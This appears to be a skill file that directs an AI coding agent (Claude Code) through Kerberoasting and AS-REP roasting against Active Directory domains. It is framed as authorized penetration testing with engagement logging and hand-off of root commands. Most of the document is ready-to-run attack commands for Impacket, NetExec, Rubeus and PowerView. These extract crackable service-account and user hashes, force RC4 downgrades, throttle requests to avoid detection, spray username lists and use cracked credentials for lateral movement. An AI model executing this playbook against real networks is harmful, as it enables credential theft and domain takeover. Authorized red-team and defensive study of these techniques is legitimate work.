Kerberos Roasting

Kerberos Roasting

You are helping a penetration tester perform Kerberoasting (extracting TGS tickets for offline cracking) and AS-REP Roasting (extracting AS-REP hashes from accounts without pre-authentication). All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [kerberos-roasting] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Any valid domain user credential (for standard Kerberoasting/AS-REP roasting)
• OR: a username with DONT_REQ_PREAUTH (for Kerberoasting without a domain account)
• OR: just a username list (for AS-REP roasting without authentication)
• Tools: Impacket, optionally netexec, Rubeus, bloodyAD

Kerberos-first authentication:

# Get a TGT first
cd $TMPDIR && getTGT.py DOMAIN/user:'Password123' -dc-ip DC_IP
# or with NTLM hash
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP

export KRB5CCNAME=$TMPDIR/user.ccache

# All Impacket roasting tools support -k -no-pass
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP -request
GetNPUsers.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

Tool output directory: getTGT.py writes <user>.ccache to CWD with no -out flag. Always prefix with cd $TMPDIR &&. TGS/AS-REP hash output files (via -outputfile) support explicit paths.

Privileged Commands

Claude Code cannot execute sudo commands. The following require root and must be handed off to the user:

• timeroast.py — NTP authentication hash extraction (needs raw sockets for UDP 123)
• ntpdate / rdate — clock synchronization (needed for Kerberos, requires root)

Handoff protocol: Present the full command including sudo, ask the user to run it, then read the output file (tee captures timeroast output) or confirm completion (ntpdate).

Non-privileged commands Claude can execute directly:

• All roasting tools: GetUserSPNs.py, GetNPUsers.py, netexec, Rubeus
• Targeted kerberoasting: targetedKerberoast.py, bloodyAD
• Cracking: delegate to credential-recovery skill

Step 1: Assess

Determine what access level is available:

1. Valid domain credentials (password, hash, or TGT) -> proceed to Step 2
2. Username with DONT_REQ_PREAUTH known -> skip to Step 5 (AS-REP) or Step 6 (Kerberoasting without domain account)
3. Username list only, no credentials -> skip to Step 5 (AS-REP)
4. Write access to user objects (GenericAll/GenericWrite) -> Step 7 (Targeted)

Step 2: Enumerate Kerberoastable Accounts

Impacket (Linux)

# List all user accounts with SPNs (no ticket request yet)
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP

# With Kerberos auth
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

NetExec

# Enumerate via LDAP and extract in one step
nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' \
  --kerberoasting kerberoast.txt

# With Kerberos auth
nxc ldap DC01.DOMAIN.LOCAL --use-kcache --kerberoasting kerberoast.txt

Rubeus (Windows)

# Statistics overview — encryption types, password age, admin status
.\Rubeus.exe kerberoast /stats

# List without requesting (enumeration only)
.\Rubeus.exe kerberoast /stats /nowrap

Prioritize Targets

Before mass-roasting, prioritize by:

• AdminCount=1 — service accounts in privileged groups
• pwdLastSet age — older passwords are weaker (years-old = likely crackable)
• Encryption type — RC4 (etype 23) cracks 1000x faster than AES (etype 17/18)
• Blast radius — BloodHound shortest path from SPN account to DA

Step 3: Extract TGS Hashes (Kerberoasting)

Impacket (Linux) — Preferred

# Request all SPN tickets
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \
  -request -outputfile hashes.kerberoast

# Target single user (reduces noise)
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \
  -request-user svc_mssql -outputfile hashes.kerberoast

# With NTLM hash
GetUserSPNs.py DOMAIN/user -dc-ip DC_IP \
  -hashes :NTHASH -request -outputfile hashes.kerberoast

# With Kerberos auth (most OPSEC-safe)
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass \
  -request -outputfile hashes.kerberoast

Rubeus (Windows)

# All SPNs (noisy — avoid in mature environments)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# Target single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast

# Admins only (smaller footprint)
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap

# RC4 downgrade via tgtdeleg trick (forces RC4 even on AES-enabled accounts)
.\Rubeus.exe kerberoast /tgtdeleg

# OPSEC-safer: only roast accounts that already lack AES support
.\Rubeus.exe kerberoast /rc4opsec

# Throttled extraction
.\Rubeus.exe kerberoast /user:svc_mssql /delay:2000 /jitter:30 /nowrap

# Scope to specific OU
.\Rubeus.exe kerberoast /ou:"OU=ServiceAccounts,DC=domain,DC=local" /nowrap

# Target old passwords (more likely weak)
.\Rubeus.exe kerberoast /pwdsetbefore:01-01-2022 /nowrap

PowerView (Windows)

# All user SPNs to hashcat format
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerberoast.csv -NoTypeInformation

Step 4: Crack Offline

Hash Formats

Cracking speed: RC4 is ~1000x faster than AES. Always prefer RC4 tickets.

Do NOT crack hashes in this skill. Save hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type/mode (see table above), and a routing recommendation to credential-recovery.

# Save extracted TGS hashes to evidence
cp hashes.kerberoast engagement/evidence/kerberoast-tgs-hashes.txt

After Cracking (post credential-recovery)

With recovered service account credentials:

1. Check what the account has access to (BloodHound, nxc)
2. Test for local admin: nxc smb TARGETS -u svc_user -p 'CrackedPass' -d DOMAIN
3. Look for (Pwn3d!) — local admin on servers
4. Escalate for lateral movement or credential-dumping if admin

Step 5: AS-REP Roasting

Targets accounts with DONT_REQ_PREAUTH flag. No valid credentials needed to request the hash — only need to know the username.

Enumerate AS-REP Roastable Accounts

# With credentials — auto-enumerate via LDAP
GetNPUsers.py DOMAIN/user:'Password123' -dc-ip DC_IP

# With Kerberos auth
GetNPUsers.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

# NetExec
nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' \
  --asreproast asrep-hashes.txt

# bloodyAD — direct LDAP filter
bloodyAD -u user -p 'Password123' -d DOMAIN.LOCAL --host DC_IP \
  get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' \
  --attr sAMAccountName

# PowerView (Windows)
Get-DomainUser -PreauthNotRequired -Verbose

Extract AS-REP Hashes

# Without credentials — spray a username list
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat \
  -outputfile asrep-hashes.txt -dc-ip DC_IP

# Single known user (no password needed)
GetNPUsers.py DOMAIN/targetuser -no-pass -dc-ip DC_IP

# Rubeus (Windows)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep-hashes.txt
.\Rubeus.exe asreproast /user:targetuser /format:hashcat /outfile:asrep-hashes.txt

AS-REP Hash Format Reference

Do NOT crack hashes in this skill. Save AS-REP hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (AS-REP / hashcat mode 18200), and a routing recommendation to credential-recovery.

# Save extracted AS-REP hashes to evidence
cp asrep-hashes.txt engagement/evidence/asrep-hashes.txt